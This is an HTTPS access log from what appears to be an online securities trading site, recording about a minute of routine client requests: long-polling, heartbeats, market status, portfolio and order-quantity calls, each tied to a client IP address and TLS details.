[09/Jan/2026:11:50:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930920309 HTTP/1.1" -
[09/Jan/2026:11:50:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:50:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930921244 HTTP/1.1" -
[09/Jan/2026:11:50:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930920332 HTTP/1.1" -
[09/Jan/2026:11:50:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930923100 HTTP/1.1" -
[09/Jan/2026:11:50:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930923409 HTTP/1.1" -
[09/Jan/2026:11:50:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930925114 HTTP/1.1" -
[09/Jan/2026:11:50:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930925376 HTTP/1.1" -
[09/Jan/2026:11:50:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930926369 HTTP/1.1" -
[09/Jan/2026:11:50:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930925355 HTTP/1.1" -
[09/Jan/2026:11:50:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930928127 HTTP/1.1" -
[09/Jan/2026:11:50:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930928479 HTTP/1.1" -
[09/Jan/2026:11:51:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930930311 HTTP/1.1" -
[09/Jan/2026:11:51:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930930436 HTTP/1.1" -
[09/Jan/2026:11:51:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930931595 HTTP/1.1" -
[09/Jan/2026:11:51:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930930408 HTTP/1.1" -
[09/Jan/2026:11:51:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930933170 HTTP/1.1" -
[09/Jan/2026:11:51:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930933547 HTTP/1.1" -
[09/Jan/2026:11:51:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930935466 HTTP/1.1" -
[09/Jan/2026:11:51:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930935501 HTTP/1.1" -
[09/Jan/2026:11:51:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930935502 HTTP/1.1" -
[09/Jan/2026:11:51:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930936865 HTTP/1.1" -
[09/Jan/2026:11:51:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930938212 HTTP/1.1" -
[09/Jan/2026:11:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930938614 HTTP/1.1" -
[09/Jan/2026:11:51:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930940669 HTTP/1.1" -
[09/Jan/2026:11:51:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930940570 HTTP/1.1" -
[09/Jan/2026:11:51:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930940596 HTTP/1.1" -
[09/Jan/2026:11:51:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930942074 HTTP/1.1" -
[09/Jan/2026:11:51:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930943262 HTTP/1.1" -
[09/Jan/2026:11:51:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930943690 HTTP/1.1" -
[09/Jan/2026:11:51:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930945643 HTTP/1.1" -
[09/Jan/2026:11:51:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930945716 HTTP/1.1" -
[09/Jan/2026:11:51:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:11:51:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:51:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930945699 HTTP/1.1" -
[09/Jan/2026:11:51:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930947361 HTTP/1.1" -
[09/Jan/2026:11:51:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930948296 HTTP/1.1" -
[09/Jan/2026:11:51:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930948759 HTTP/1.1" -
[09/Jan/2026:11:51:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:51:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930950701 HTTP/1.1" -
[09/Jan/2026:11:51:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930950887 HTTP/1.1" -
[09/Jan/2026:11:51:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930950801 HTTP/1.1" -
[09/Jan/2026:11:51:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930952574 HTTP/1.1" -
[09/Jan/2026:11:51:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930953329 HTTP/1.1" -
[09/Jan/2026:11:51:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930953821 HTTP/1.1" -
[09/Jan/2026:11:51:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930955765 HTTP/1.1" -
[09/Jan/2026:11:51:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930956015 HTTP/1.1" -
[09/Jan/2026:11:51:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930955840 HTTP/1.1" -
[09/Jan/2026:11:51:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930957703 HTTP/1.1" -
[09/Jan/2026:11:51:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930958364 HTTP/1.1" -
[09/Jan/2026:11:51:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930958888 HTTP/1.1" -
[09/Jan/2026:11:51:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930960826 HTTP/1.1" -
[09/Jan/2026:11:51:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:51:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1501
[09/Jan/2026:11:51:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930961192 HTTP/1.1" -
[09/Jan/2026:11:51:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930960887 HTTP/1.1" -
[09/Jan/2026:11:51:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930963400 HTTP/1.1" -
[09/Jan/2026:11:51:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930962941 HTTP/1.1" -
[09/Jan/2026:11:51:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930963943 HTTP/1.1" -
[09/Jan/2026:11:51:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:11:51:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 316
[09/Jan/2026:11:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
